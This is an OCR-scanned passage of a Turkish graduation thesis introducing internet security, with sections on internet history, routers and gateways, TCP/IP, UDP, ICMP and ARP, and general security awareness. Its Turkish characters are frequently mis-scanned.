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ONSOz

Biitiin aliskanliklarimizin hizli bir degisimden gectigi bir ¢agda yasamaktayiz. Bu
degisimin sebebi olan bilgisayarlar her gegen giin biraz daha giinliilk yasantimiza girmekte,
her gegen giin bilgisayar yeni bir alanda daha karsimiza ¢ikmaktadir.

Bu hizli degisimde, Internet en biiyiik role sahiptir. Artik aligveris, bankacilik
islemleri, mesajlagma gibi bircok seyi Internet ortaminda yapmaktayiz. Internet’in bu kadar
yogun kullanilmasi, beraberinde giivenlik sorununu da getirmektedir. Ciinkii Internet gibi bir
ortamda ¢ok Ozel veya gizli olan bilgilerimizin bagkalar1 tarafindan ele gegirilmesi,
degistirilmesi miimkiindiir. Bilginin tagindig iletim ortamlarin 6zelliginden kaynaklanan bu
sorun, Risk Yonetiminin gelistirdigi teknikler sayesinde ortadan kaldirilabilmektedir.

Gilintimiizde kullanilan giivenlik 6nlemlerini ayni ¢at1 altinda birlestirilerek Internet
ortaminda calisan giivenlik platformu hazirlanmistir. Kullanilan programlama teknikleri

bitirme 6devi i¢inde tanitilmistir.

Bu caligmanin ortaya ¢ikmasinda, gosterdigi yardim ve verdigi tavsiyelerle katkisi
olan danigman hocam Sn. Prof. Dr. Servet Bayram’a tesekkiirlerimi sunarim.
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1. GIRIS

Isletmelerin, kisilerin aleyhlerine giderek siklasan ve daha tehlikeli hale gelen kotii
niyetli saldirilara karsi, giivenlik tehditlerini ve zaaflar1 ortadan kaldiran kapsamli bir ¢6ziim
gereksinimleri  vardir. Cesitli dirlinler sitirekli olarak gelistirilerek 6nemli glivenlik
tehlikelerine ve donemsel tehditlere karst korunma saglamaktadir.

Giderek karmasiklasan kotii niyetli saldirilar nedeniyle, kullanici is istasyonlarinin,
kurumsal ag sistemlerinin ve kisisel bilgisayar sistemlerinin ¢esitli saldirilara kars1 basarili
sekilde hazirlanmasi ve korunmasi biiyiik 6nem kazanmaktadir. Bu tehditler kullanicilarin
maddi, zaman ve miisterilerine karsi prestij kayiplarina neden olmaktadir. Bu bakimdan,
bugiin ve gelecekteki tehditleri bertaraf edebilmek icin siirekli planlar gelistirilmelidir. Aksi
takdirde sonucu belli olan olaylara boyun egmek zorunda kalinabilir.

Bu planlar, eski zaaflar1 gidermek iizere gelistirilmektedir. Yeni gilivenlik
ozellikleriyle donatilan platformlar ve uygulamalar yeni tehditlerin oniine gecebilecegi gibi
yeni tehditlere de yol agabilmektedir. Bu yeni tehditler, oncekilere oranla ¢ok daha zararli ve
tehlikeli hale gelebilir. Arastirmacilar saldirilar1 ve arzu edilmeyen olaylar1 bertaraf etmek
icin silirekli olarak daha iyi giivenlik teknolojileri arastirip gelistirmektedirler. Teknik aciklar
giderek azalinca, saldirganlar insan unsurundan kaynaklanan hatalar1 daha da ¢ok
kullanmaktadirlar. Ciinkii olas1 giivenlik acikliklarinin baslica sebebi insan hatasidir.
Miikemmel bir insan yoktur, gliniimiizde sistemleri halen insanlar tasarladigindan sistemler
de miikemmel olamaz. Saldirganlar olasi her durumu degerlendirir ve bu durum g¢ergevesinde
hatalara kars1 saldir1 tekniklerini uygularlar. Saldirganlar ve giivenlik teknolojileri arasinda bu
sonu olmayan savasta kurumsal kaynaklarin ve kisisel bilgilerin korunmasi ¢ok biiyiik 6nem
kazanmaktadir.

Gegmisteki saldirilar bilgiyi yok etmeye yonelik tasarlanirken, bugiin kar elde etmek
icin herhangi bir teknik zarara yol agmadan, bilgiyi calmaya yonelik saldirilar giderek
artmaktadir. Bu tiir su¢larin olusturdugu tehditler, online su¢ islemek ve bireysel kullanicilar
ile kurumlardan bilgi ¢almak amaciyla crimeware olarak adlandirilan saldirgan programlari
ve yazilim araglart kullanilarak hiz kazanmaktadir. Saldirganlar, gilivenlik duvarlari ve
yonelticiler gibi geleneksel giivenlik araglarina yonelik biiylik ve cok amagl saldirilar yerine
kurumsal, bireysel, finansal ve 6zel bilgilerin ¢calinmasina izin veren bolgesel hedeflere, masa
iistii bilgisayarlara ve Internet uygulamalarina odaklanmaktadir. Bu yolla elde edilen bilgiler,
daha sonra farkli sug aktivitelerinde kullanilmaktadir.

Gergekten de olaganiistli bir durum ve felaketle karsilasan kurumlar ve kisiler ciddi
mali kayiplar yaninda, itibar, miisteri, pazar kaybi1 sorunlan ile yiiz yiize kalabilirler. Bu
nedenle olaganiistii bir duruma kars1 hazirlikli olmak ve organize hareket etmeyi planlamak
biiyiik &nem tasimaktadir. Onceden ongorerek, dogabilecek tehlikelere karsi savunma
bicimini belirlemek, kurumun ve kisinin kaos durumunda ne kadar hazirlikli olabilecegini ve
bu durumu ne kadar 6nemseyip dikkate aldigini gosterir.

Uluslararasi literatiirde acil durum planlamasi, risk yonetiminin dnemli bir parcasi
olarak karsimiza ¢ikmaktadir. Her kurumun ve kisinin kendi 6zelliklerine gore farkl bir plana
sahip olmasi kac¢inilmazdir. Burada 6nemli olan kurumda bir risk kiiltiirii olusturulmasi ve
acil durumlara karg1 hazirlikli olunmasi gereginin yetkili kisiler tarafindan benimsenmesi,
planli ve organize hareket etme bilincinin ¢alisanlara aktarilabilmesidir. Deprem, yangin,
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firtina, sel, bombalama, sabotaj, donanim veya yazilim hatasi, kullanic1 hatasi, sistemlere
izinsiz giris, bilgilerin calinmasi, elektrik ve telekominikasyon kesintisi gibi dnceden tahmin
edilebilen veya edilemeyen i¢ veya dis faktdrler sonucu hasara ugrama ve ciddi bir felaketle
karsilagsma ihtimali, tiim kurumlar ve kullanicilar i¢in dikkate alinmasi1 gereken bir risktir.

Bu c¢alismada giivenlik tehditlerinin ne oldugu, tanimi ve evrimi incelenmektedir.
Cesitli giivenli ve saglam uygulamalarla bu tehditlere kars1 verilmis yanitlar agiklanmaktadir.
Risk yonetimi ile giivenlik tehditlerine karst mevcut uygulamamin yetenekleri ile daha iyi
degerlendirebilecektir. Bunu sizlerle paylasmamin amaci; Kisilerin bilgisayar giivenligi
hakkinda bilgi sahibi olmas1 ve gerekli tedbirlirlerin alinmasinda yol gosterici olmaktir.
[lerleyen boliimler icerisinde bir kaos ortami yaratilarak, kurumsal ve kisisel sistemlerin en az
zarar gormesi i¢in gerekli adimlar1 ve yontemleri incelenmektedir.

Ancak burada sunu belirtmek gerekir ki; konunun ¢ok genis bir kapsami olmasi
sebebiyle bu dokiiman biiyiikk aglarin ve ana bilgisayarlarin degil, genel olarak son
kullanicillarin ve kisisel sistemler ile kii¢iik aglarin bu tehdit karsisindaki durumlari
incelenmistir.

2. INTERNET'IN TARIHCESI

Internetin  koklerini 1962 yilinda J.C.R. Licklider'in Amerika'nin en biiyilik
iiniversitelerinden biri olan Massachusetts Institute of Tecnology'de (MIT) tartismaya agtigi
"Galaktik Ag" kavraminda dile getirmistir. Licklider, bu kavramla kiiresel olarak baglanmis
bir sistemde isteyen herkesin herhangi bir yerden veri ve programlara erigebilmesini ifade
etmigti.

1969'da cesitli bilgisayar ve askeri arastirma projelerini desteklemek i¢in Savunma
Bakanligt ARPANET adinda paket anahtarlamali bir ag tasarlamaya basladi. Bu ag,
ABD'deki tiniversite ve aragtirma kuruluslarinin degisik tipteki bilgisayar arasi baglantilar ile
Internetin ilk seklini ortaya ¢ikardai.

Kisa siire igerisinde birgcok merkezdeki bilgisayarlar ARPANET agina baglandi.
1971 yilinda Ag Kontrol protokolii (NCP-Network Control Protokol) ismi verilen bir protokol
ile calismaya basladi. 1972 yili Ekim ayinda gerceklestirilen Uluslarars1 Bilgisayar Iletisim
Konferansi (ICCC- International Computer Communications Conference) isimli Konferansta,
ARPANET'in NCP ile basarili bir demontrasyonu gergeklestirildi. Yine bu yil iginde
elektronik posta (e-posta) ilk defa ARPANET i¢inde kullanilmaya basladi.

NCP'den daha fazla yeni olanaklar getiren yeni bir protokol, 1 Ocak 1983 tarihinde
tiim ARPANET kullanicilar1 iletim Kontrol Protokolii/Internet Protokolii (TCP/IP) olarak
bilinen yeni protokole ge¢is yaptilar. TCP/IP bugiin de varolan Internet aginin ana halkasi
olarak yerini ald1.

2.1 Internet Nedir ?

Internet, birbiriyle tiim diinya iizerinde yayilmig bilgisayar aglarinin birlesiminden
olusan devasa bir bilgisayar agidir. Telefon hatlariyla birbirine bagli bu agda, kisi ve
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kuruluslarin kullandig1 farkli yapida bilgisayarlar ve bu bilgisayarlarda kullanilan farkli
isletim sistemleri bulunabilir. Internet, bu farkli yapida bilgisayarlarin ortak bir dille iletigim
kurmasia imkan saglayarak, tizerlerinde farkli programlar ¢aligtirilsa bile, kisiler ekranda
ayni1 bilgileri goriir ve degerlendirirler. Bazi bilgisayar aglar1 ve dolayisiyla bu ag i¢inde baglh
bilgisayarlar kesintisiz olarak Internet ortamina da baglidirlar.

Internet baslangigta Amerikan ordusunun kendi aralarinda haberlesmesi igin
tasarlanmigtir. Giiniimiizde dahi Internet’in en temel islevi, haberlesme ve iletisimdir. Ciinkii
en ucuz ve en gorsel iletisim araci olarak hayatimizin bir pargast olmustur. Giinliimiizde,
Internet tlizerinden istedigimiz kisiler ile yazili ve sesli olarak iletisim kurabilir, diledigimiz
her konuda arastirma yapabilir, bu siire¢ icinde gerekli gordiigliniiz bilgi ve dokiimanlar
bilgisayariiza yiikleyebilir, istedigimiz aligveris sitelerini ziyaret edip, beyenilen iiriinler
satin alabilir. Miizik, film arsivlerine girip dinleyebilir, izleyebilir ve/veya sistemlere
indirelebir. Haber sitelerini ziyaret edip diinyadaki en giincel haberler hakkinda bilgi sahibi
olunabilir. Internet’in sunduklar1 bazen insan hayal giicilinii zorlayacak boyutlara varmaktadir.
Internet’i kullananlarin istekleri, hayal giicleri ve gelisen Internet teknolojisi ile hep
artmaktadir. Boylece ortaya muazzam bir bilgi paylasimi ortaya ¢ikar.

Giliniimiizde sik¢a rastladigimiz "tolgauslu@gmal.com" veya "http://www.iku.edu.tr"
gibi terimler artik insanlarin ortak dili olmaya baslamistir. Dolayisiyla Internet'in etkisi
sadece bilgisayar haberlesmesinin teknik alanlari ile sinirli kalmayip toplum yasayisina da
yansimisgtir.

Bu gelismeler sonucu, Internet telefon ve Internet televizyon gibi yeni uygulamalar
ortaya ¢cikmistir. Internet'in gelecegi ile ilgili en 6nemli soru teknolojinin nasil degisecegi
degil, degisimin nasil yOnetilecegi ve giivenligin nasil konumlandirilacagidir. Internet, bir
grup tarafindan bir amag i¢in tasarlandi ama bu konu ile ilgili yeni fikirler ortaya ¢iktikca
orijinal tasarima eklemeler oldu.

2.2 Tiirkiye'de Internet'in Gelisimi

Tiirkiye'de Interneti dnceledigi varsayilan ilk genis alan bilgisayar ag1 1986 yilinda
iiniversitelerin 6nderliginde TUVAKA - Tiirkiye Universiteler ve Arastirma Kurumlar1 Ag1
ismi ile kurulmustur. Teknolojik gelismeler karsisinda yetersiz kalan bu agin gelistirilmesi
icin, Orta Dogu Teknik Universitesi (ODTU) ve Tiirkiye Bilimsel ve Teknik Arastirma
Kurumu (TUBITAK) tarafindan yeni ag teknolojilerinin kullanilmas1 gerektigi éngoriisii ile
ortak bir proje (TR-NET) baslatilmistir.

TR-NET (Tiirkiye Internet Proje Grubu) adimi alan proje calismalari sonucunda,
Tiirkiye’de ilk Internet baglantisi, 12 Nisan 1993 tarihinde yapilmustir. ilk yillarinda sadece
TUBITAK ve iiniversitelerin kullanimina izin verilen ve sadece ODTU ve Ege iiniversiteleri
iizerinden baglanilabiliyordu. Bu siire¢ igerisinde Internet agi akademik kesimin
egemenligindeydi. Ancak akademik kesimin egemenligi ¢ok uzun siirmedi. 1995 yilimdan
sonra cevirmeli hatlar (dial-up) ve X25 ile, hem de kiralik hatlarla 6nemli sayida kamu
kurumu, sirket ve kisinin baglantisi saglandi. 1995 yilinda Internete bagli kurumlar ve
kuruluslarin sayis1 500°den azdi. Bunu giinlimiiz ile karsilastiracak olursak; Su an Tiirkiye' de
12 Milyon, Diinyada toplam 1.5 milyar Internet kullanicis1 oldugu saniliyor.
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Internet’e bugiin her isteyen, istedigi Internet Servis Saglayict (ISS) kuruluslar
iizerinden baglanabilmektedir. 11k yillarda TR-NET altyapisi ile ilgili problemler nedeni ile
uzun bir siire ¢ok kotii performans ile hizmet verdi. Daha sonra altyapinin diizeltilmesiyle ve
0zel soktoriin de TR-NET ile rekabete girmesiyle bir cok Internet servis saglayicilar kuruldu.
Dolayisiylada Internet {iizerindeki Tiirkge materyallerdeki artis olaganiistii diizeylere
cikmistir. Bu artig, ISS’lerin yatirimlart yaninda, kurumlarin ve kuruluslarin da kendi
portallarini olusturmalar1 sonucunda yasandi.

Gorildiigii lizere Internet biiyilik bir hizla diinyanin her kosesine din, dil, 1tk ve iilke

ayrim1 yapmadan erigsmektedir. Su an yeni yiizyilin en biiyiik iletisim ve reklam araclarinin
basinda gelmektedir.

2.3 Internet Nasil Calisir ?

Sekil 2.1 : Doruk Net'de bulunan ydnlendiriciler ve ag gecidlerinden bir gorintu.

2.3.1 Yonlendirici (Router)

Yonlendiriciler (Router) farkli aglar (network) arasinda IP/IPX/Appletalk vs gibi
iletisim kurallarini (protocol) yonlendirmeye yarayan aletlerdir. Bununla beraber bazi iletisim
kurallarim da yonlendiremezler. (Ornegin: Netbeui). Internet ortaminda IP (Internet Protocol)
iletisim kurali kullanilir. Yonlendiriciler donanim veya yazilim olabilirler. Gelismis
yonlendiriciler {izerinde de yazilimlar yiikli olabilir. Bu, basit bir gomiilii yazilim da
(firmware) olabilir, 6zel olarak iiretilmis bir isletim sistemide olabilir. Mesela Cisco
yonlendiriciler iizerlerinde I0S (Internetwork Operating System) adinda bir isletim sistemi
mevcuttur. Bu tip gelismis yonlendiriciler iizerinde tipki bilgisayarimizdaki gibi bir anakart,
islemci, bellek gibi bilesenler bulunabilir.
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Bir yonlendirici en az iki aga baghdir. Cogu zaman bunlar iki tane yerel ag (LAN) ve
iki tane genis ag (WAN) veya yerel ag ve servis saglayici arasindaki ag olur (evde
kullandigimiz basit ADSL yonlendiricilerimiz yerel agimmiz ve Tirk Telekom (servis
saglayici) arasindaki yonlendirici konumundadir. Ydnlendiriciler yonlendirme islemi
yaparken NAT/PAT (Port Address Translation - Port Adres Cevirimi), Unicast yonlendirme,
Multicasting, Demand-Dial gibi teknolojiler kullanirlar. Kisaca biz NAT"1 (Network Address
Translation - Ag Adres Cevirimi) birden fazla istemciyi (client) tek bir IP iizerinden Internete
cikarirken kullanityoruz. Bunun terside olabilir. Evde kullandigimiz ADSL yonlendiriciler
genelde NAT yaparlar.

Yonlendiriciler iki veya daha fazla agin birlestigi yer olan ag gecidine (gateway'e)
yerlestirilir. Ag gegitleri mutlaka yonlendirici olmak zorunda degildirler. Yonlendiriciler
paketin gidecegi yeri IP basliklarindan (header) anlarlar. Uzerinde bulundurdugu ydnlendirme
tablolarindan (Routing Table - Hangi [P'nin hangi agda oldugunu ve o aga nereden
gidileceginin bilgisinin tutuldugu tablolardir) istenilen adresi bulurlar ve en iyi, en verimli, en
hizli, en kisa yolu bulmak i¢inde RIP,RIPv2, IGRP, OSPF gibi iletisim kurallar1 kullanirlar.
Kendileri ile haberlesmek i¢in ICMP (Internet Control Messaging Protocol - Internet Denetim
Haberlesme Iletisim Kurali) gibi iletisim kurallar1 kullanirlar. Ornegin; "ping" komutu ICMP
iletisim kuralin1 kullanir.

2.3.2 Ag Gegidi (Gateway)

Ag gecidi (gateway) bagka bir aga gecis hizmeti veren bir noktadir. Biiyiik sirketlerde
genelde ag gegitleri bir istemciyi (client) Internet ortamina yonlendirme gorevi iistlenirler. Bu
durumda ag gecidi bir vekil (Proxy) sunucu veya bir ates duvar (firewall) olabilir.

Ag gegitleri yonlendiriciler ile de ilgilidir. Yonlendiriciler paket bagliklarina ve
yonlendirme tablolarina bakarak gecisi saglarlar. Ayrica yonlendiriciler veya ates duvarlari
VPN ile gecisi saglayabilir. Bu durumda ismi VPN Ag Gegidi olacaktir veya bir
e-postalarimizin gegtigi SMTP sunucusu olabilir. Bu seferde ismine SMTP ag gecidi
diyecegiz. Vekil (Proxy) sunuculari iizerinden Internete ¢ikabiliriz. Yine bizim ag ge¢idimiz
olurlar.

Internet birbirine gegis yollar1 (gateway) ile baglanmis c¢ok sayidaki bagimsiz
bilgisayar aglarindan olusur. Kullanict bu aglar iizerinde yer alan herhangi bir bilgisayara
ulagsmak isteyebilir. Bu islem esnasinda kullanici farkina varmadan bilgiler, bir ¢ok ag
iizerinden gecis yapip varig yerine ulasirlar. Bu islem esnasinda kullanicinin bilmesi gereken
tek sey, ulasmak istedigi noktadaki bilgisayarin ‘Internet adresi’ dir. Ag gegcitlerini
bulundugumuz yerden farkli bir yere giderken kullandigimiz ¢ikis kapisi olarak diisiinebiliriz.

Internet’in en popiiler kullanim alanlarindan biri 'World Wide Web'dir. Bu bir browser
ile erisilebilen bilgilerinin Internet {izerinde sayfalarda yayinlanmasi ile olugmaktadir. Bu
bilgiyi bir bolgeden digerine tasimada FTP (File Transfer Protocol) ve HTTP (Hyper Text
Transfer Protocol) gibi veri transferi protokolleri kullanirlar. TCP/IP, UDP veya benzeri IP
uyumlu protokoller kullanilarak haberlesme saglanir.

Bilgisayarlar arasi iletisimi saglayan temel protokol katmani TCP/IP protokoliidiir.

TCP/IP, katmanlardan olusan bir protokoller kiimesidir. Her katman degisik gorevlere sahip
olup altindaki ve tstiindeki katmanlar ile gerekli bilgi aligverisini saglamakla ytlikiimliidiir.
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Ornek olarak; TCP/IP nin kullanildig1 en nemli servislerden birisi elektronik postadir
(e-posta). E-posta servisi i¢in bir uygulama protokolil belirlenmistir (SMTP). Bu protokol e-
posta’nin bir bilgisayardan bir bagka bilgisayara nasil iletilecegini belirler. Yani e-postay1
gonderen ve alan kisinin adreslerinin belirlenmesi, mektup igeriginin hazirlanmasi vs. gibi.
Ancak e-posta servisi bu mektubun bilgisayarlar arasinda nasil iletilecegi ile ilgilenmez, iki
bilgisayar arasinda bir iletisimin oldugunu varsayarak mektubun yollanmasi gorevini TCP ve
IP katmanlarina birakir.

2.3.3 Ag Gegidinin Korunmasi

SMTP, HTTP, FTP data paketlerinde viriis taramasi yapabilmelidir.

Firewall’a entegre calisabilmelidir.

E-posta trafigini goriintiileyebilme 6zelligi olmalidir.

Giincel viriis bilgilerini istenildigi zaman otomatik olarak giincellenebilmelidir.

Olas1 viriis 6zelligi tagtyabilecek dosyalar1 algilama 6zelligi ( heuristic ) olmalidir.

Kotii niyetli JavaScript, VBScript ve Applet’leri sezme ve istenirse sinirlama

ozelligine sahip olmalidir.

HTML, VBScript tabanli script’leri bloklama 6zelligi olmalidir.

e Ag yoneticisinin istegi dogrultusunda mesajlardaki kayit tlirlerini segcme 6zelligine
sahip olmalidir.

e Olas1 virlis tespitinde ag yoneticisine, gonderen kisiye ve aliciya uyart maili atma
ozelligine sahip olmalidir.

e Spam maillerini bloklama &zelligi, dosya uzunlugu siirlama ve e-posta arsivleme

ozelligi olmalidir.

2.4 TCP/IP Katmani ve Giivenligi

TCP/IP, her gecen giin degisen, gelisen ve icinde bircok aglararast iletisim
(Internetworking) protokolleri barindiran bir protokol yigitidir. Amerikan Savunma Bakanligi
tarafindan niikleer savas durumunda bile ¢alisabilecek bir sistem olarak tasarlanmistir. Daha
cok akademik ortamlarda gelistirilen bu protokol, firmalardan bagimsiz oldugu icin diinya
capinda farkli sistemler arasinda iletisim i¢in (yani Internet’te) en yaygin kullanilan
protokoldiir.

TCP/IP, Internet’i yaratan protokol denilirse yanlis olmaz. TCP/IP Protokol yigiti,
OSI modelin 7 katmanina karsilik gelen 4 katmandan olugsmaktadir:

e Uygulama: OSI’nin son ii¢ katmanlarina (5-6-7) karsilik gelir.,

e Transport: Giivenilirlik, akis (flow) kontrolii ve hata diizeltme gibi servis kalitesini
belirleyen parametrelerle ugrasir. Baglantili (TCP) ve baglantisiz (UDP) servisleri
igerir.

o Internet: Amag izlenen yollardan ve aglardan bagimsiz olarak hedef cihaza veri
iletiminin saglanmasidir. Yol (path) belirleme ve veriyi o yola yonlendirmek (routing)
icin paket anahtarlama bu seviyede yapilir. IP protokolii kullanilir.

e Network Access: OSI’nin ilk iki katmanina (1-2) karsilik gelir.
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Sekil 2.2 : TCP — UDP - IP

Su an yasamakta oldugumuz ag giivenligi problemlerinin ¢ogu TCP/IP protokoliiniin
giivenlik agiklarindan kaynaklanmaktadir. Onlemler alabilmek icin dncelikle IP protokoliinii
ve var olan sorunlar1 anlamak gereklidir.

2.4.1 TCP Katmani

TCP protokolii Internette kullanilan ana protokoldiir. TCP gonderilen verilerin,
gonderildigi sirayla, kars1 tarafa ulagsmasini saglayarak giivenli veri iletimini saglar. Karsi
tarafa ne yollandig1 ve hatali yollanan mesajlarin tekrar yollanmasinin kayitlarini tutarak
gerekli kontrolleri yapar.

TCP iki makine arasinda kurulan sanal bir baglant1 iizerinden calisir. Oncelikle
istemci sunucuya, kendi kimlik bilgilerini igeren bir baglant1 istegi gonderir. Istegi alan
sunucu bu istege karsilik onay ve kendi kimlik verilerini igeren bir paket gonderir. En
sonunda da istemci makine sunucuya bir onay paketi gonderir ve baglanti saglanmis olur.

= |:. Baglant: Iste s we Kimlik Bilgilen &
| § .
— - | Eimlik Bigilen ve Onay
—_—— i
B
EE—— __-__af Cmay Paketi
e - — -

Sekil 2.3 : TCP Katmani
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Eger gonderilecek mesaj bir kerede gdnderilemeyecek kadar biiyiik ise (Ornegin 10
Mb biiyiikliigiinde bir dosya) TCP onu uygun boydaki segment’lere bdler ve bu segment’lerin
kars1 tarafa dogru sirada, hatasiz olarak ulagmalarini saglar.

2.4.2 IP Katmani

Bir aga bagl her bilgisayarin bir IP (Internet Protokol) adresi vardir. Tipik bir IP
adresi, noktalarla ayrilan dort rakamdan olusur; 6rnegin, “81.215.219.14” Bir bilgisayarin IP
adresi varsa, ag lizerindeki tiim bilgisayarlar bu adresi kolayca bulur. Bir bilgisayar bir aga
baglandiginda, bilgisayara bir IP adresi atanir. Ancak ¢ogu kullanicinin IP adresi dinamiktir,
yani her baglantida degisir. Statik IP adreside hi¢bir kosulda degismez, siirekli sabittir.

TCP katmanina gelen bilgi segmentlere ayrildiktan sonra IP katmanina yollanir. IP
katmani, kendisine gelen bilgi i¢inde ne oldugu ile ilgilenmez. Sadece kendisine verilen bu
bilgiyi istenen noktaya ulastirmak ve uygun gidecek bir yol bulmakla gorevlidir. Arada
gecilecek sistemler ve gecis yollarinin bu paketi dogru yere gonderilmesi i¢in kendi baglik
bilgisini TCP katmanindan gelen segment’e ekler. TCP katmanindan gelen segmentlere IP
basliginin eklenmesi ile olusturulan IP paket birimlerine datagram adi verilir.

Son olarak IP bagliginin yolda bozulup bozulmadigini ve mesajin yanlis yere gidip
gitmedigini kontrol edilir. Dikkat edilirse TCP ve IP ayr1 ayri kontrol toplamlari daha verimli
ve giivenli bulundugu i¢in iki ayr1 kontrol toplami1 alinmasi yoluna gidilmistir.

2.4.3 UDP ve ICMP Katmani

Baz1 durumlarda yollanan mesajlar tek bir segment icine girebilecek biiytikliiktedir.
Dolayistyla bu durumda TCP katmaninin kullanilmasi gereksizdir. Cevap paketinin yolda
kaybolmasi durumunda en kotu ihtimalle bu sorgulama tekrar yapilir. Bu cins kullanimlar igin
TCP’ nin alternatifi protokoller vardir. Boyle amaglar i¢in en ¢ok kullanilan protokol ise
UDP’dir. (User Datagram Protocol). UDP, TCP'nin tersine giivensiz bir protokoldiir. Veri,
kars1 bilgisayara gonderilir ancak, onay paketi alinmasa da iletisim tamamlanmis kabul edilir.
Ayrica paket boyutu TCP’ ye oranla ¢ok daha kiiciiktiir. Bu sebeplerden dolay1 ¢ok hizlidir.

Diger bir protokol ise ICMP’dir (Internet Control Message Protocol). ICMP protokolii
iki ya da daha fazla bilgisayar arasinda veri transferi sirasinda meydana gelebilecek hatalar
ve kontrol mesajlarim1 idare etmek i¢in kullanilir. Mesela bir bilgisayara baglanmak
istediginizde sisteminiz "bilgisayara ulagilamad1" diye mesaj donebilir. ICMP ‘yi kullanan en
popiiler Internet uygulamasi ping komutudur. Bu komut yardimi ile herhangi bir bilgisayarin
acik olup olmadigini, hatlardaki sorunlari aninda test edebiliriz. Calisma mantig1 ¢ok basittir,
kars1 bilgisayara echo paketleri gonderir ve geri gelmesini bekler. Eger paketler geri gelmezse
ping hata mesaj1 verir ve kars1 bilgisayarin aga bagl veya calisir durumda olmadig: anlasilir.

2.4.4 Fiziksel Katman

Fiziksel ortam bilgisinden olusur. Her fiziksel ortam i¢in bilgilendirme sekli farklidir.
(6rnek; Modem, ethernet, ISDN v.s) Ethernet kartinda fiziksel ortam bilgisi 48 bitlik MAC
(Media Access Control) tutulur. Bu kartlarin igerisine, MAC adresleri degistirilemez sekilde
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yerlestirilmistir. MAC adresine donanim adresi de denir. Ethernet ag cihazlarina,
taninabilmeleri i¢in, hexadecimal ve diinyada bir esi daha olmayan seri numarasi verilir. Bu
numaralar, iretici firmalar tarafindan fabrikada verilmektedir. Aslinda bilgisayarlar arasi
haberlesme, IP adreslerinin MAC adreslerine ¢evrilmesi ile gerceklesir.

Bu ethernet kartlarina gelen paketler biitiin basliklar uygun katmanlarca belirlenir.
Ethernet arayiizii, ethernet baslik, ve kontrol bilgisi atilir. Tip koduna bakarak protokol tipini
belirlenir ve Ethernet kart1 yazilimi bu datagram’1 IP katmanina gegirir. IP katmani kendisi ile
ilgili katman1 atar ve protokol alanina bakar, protokol alaninda TCP oldugu i¢in segmenti
TCP katmanina gegirir. Sonugta bir bilgisayar diger bir bilgisayar ile iletisimi tamamlar.

2.4.5 Ethernet Encapsulation: ARP

Bir Internet adresi ile iletisime geg¢mek i¢in hangi Ethernet adresine ulasilmasi
gerektigini saglayan protokol ARP’dir (Address Resolution Protocol). Ornegin kullandigimiz
bilgisayar 192.168.1.3 IP adresine sahip ve 192.168.1.123 IP’li bilgisayar ile iletisime
gecmek istiyorsak. Sistemin ilk kontrol edecegi nokta 192.168.1.123 ile ayn1 ag iizerinde olup
olmadigimizdir. Ayni ag iizerinde yer aliyorsak, direk olarak haberlesebilecegimiz anlamina
gelir.

Ardindan “192.168.1.123” adresinin ARP tablosunda olup olmadigi ve Ethernet
adresini bilip bilmedigi kontrol edilir. Eger tabloda bu adresler varsa Ethernet bagligina
eklenir ve paket yollanir. Fakat tabloda adres yoksa paketi yollamak icin bir yol yoktur.
Dolayistyla burada ARP devreye girer. Bir ARP istek paketi ag iizerine yollanir ve bu paket
icinde "192.168.1.123" adresinin Ethernet adresi nedir sorgusu vardir. Ag iizerindeki tim
sistemler ARP istegini dinlerler bu istegi cevaplandirmas: gereken istasyona bu istek
ulastiginda cevap ag lizerine yollanir. “192.168.1.123” istegi goriir ve bir ARP cevabi ile
“192.168.1.123” ’nin Ethernet adresi 8:0:20:1:56:34" bilgisini istek yapan istasyona yollar.
Bu bilgi, alic1 noktada ARP tablosuna islenir ve daha sonra benzer sorgulama yapilmaksizin
iletisim mimkiin kilinir.

3. GUVENLIK VE INTERNET

Internette dolasirken bilgisayar bir gemi olarak diisiiniiliirse; Bu denizde bazi gemiler
kotii amaglarla seyahat etmektedir. Bunlara korsan gemiler denilebilir. Bir giin bir korsan
gelip verilere bakar, ihtiyaci olanlar1 alir, degistirebilir ve sistemi kullanilmayacak hale
getirebilir. Bu gemiler denize acildiginda suda bir iz birakirlar. Buna IP denir. Istenmeyen
saldirilarda ¢ogu zaman IP’ler {izerinden yapilmaktadir. Bu gemiler suda kendilerini 6zgiirce
dolastiklar1 sanarak bir ¢ok agik kapilar agmaktadir. Bu kapilar Internet sayfasina bakarak,
chat yaparak ya da belli bir programi kullanilarak farkinda olmadan olusmaktadir.

Kendi teknolojilerini iiretebilecek yetenekte olan sakinacali kisiler bu kapilar i¢in 6zel

silahlar (programlar) gelistirmektedir. Ve bu programlarla hedeflerine ulasabilmektedirler. Bu
tiir programlara Internet lizerinden isteyen herkes ulasabilir.
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Gliniimiiz haberlesme caginda e-posta'lar artik faks, telefon ve mektup trafiginin
toplamindan daha yogun bir sekilde kullanilmaktadir. Bu verimli, hizli ve ucuz haberlesme
araci, Ozellikle kotii niyetli kisiler tarafindan virlis yayma maksatl olarak kullanilmaktadir.
En son yayilan viriisler artik kullanici farkinda olmaksizin kendisi baska kisilere de
gonderebilmektedir. Boylelikle viriisler ¢ok kolay yayilmaktadir. Bu virlisli mailler
acildiginda bazen dosyalar silmekte veya degistirmekte, okunamaz hale getirmekte, bazen
gereksiz veri trafigi lireterek bilgisayar aglarinda istenmeyen sebeplere neden olmaktadirlar.
Tiirkiye’de yapilan saldirilarin ¢ogu Msn, Mirc, Icq gibi programlarin calistirilmasiyla
gergeklesmektedir.

Virtislerin asil gelis kaynagi olan e-postalar olmakla birlikte Internetten indirilen
dosyalar ile de bulasabilir. Bazen de disket veya CD kullanimiylada sistemlere farkinda
olmadan gelebilirler. Bu tiir olaylarin online gecilmesi icin firewall ve antiviris
programlarinin kullanilmas1 gerekmektedir.

3.1. Giivenligin En Zayif Halkasi

Giivenlik ¢ogu zaman bir yanilgidan ibarettir. Isin icine dikkatsizlik, saflik ve cahillik
de girince daha da kotii sonuglara zemin hazirlamaktadir. En saygin bilim adamlarindan olan
Albert Einstein s0yle demistir: “Yalnizca iki sey sonsuzdur, evren ve insanoglunun aptalligi;
aslinda evrenin sonsuzlugundan o kadar da emin degilim.” Sonug¢ olarak, insanlar dogru
giivenlik uygulamalar1 konusunda bilgisizlerse, tehtidlere karsi acik davetiye cikar. Giivenlik
iiriinleri asla tek baslarina tam bir giivenlik saglayamazlar. Aksini diigiinen kisiler er ya da
geg, ileride giivenlik sorunu yasayacaklardir.

Giivenlik asla bir {iriin degildir. Giivenlik bir siirectir. Aslinda giivenlik bir teknoloji
sorunu olmaktan ¢ikmistir. Giivenlik giiniimiizde, bir insan ve yonetim sorunu olmustur.

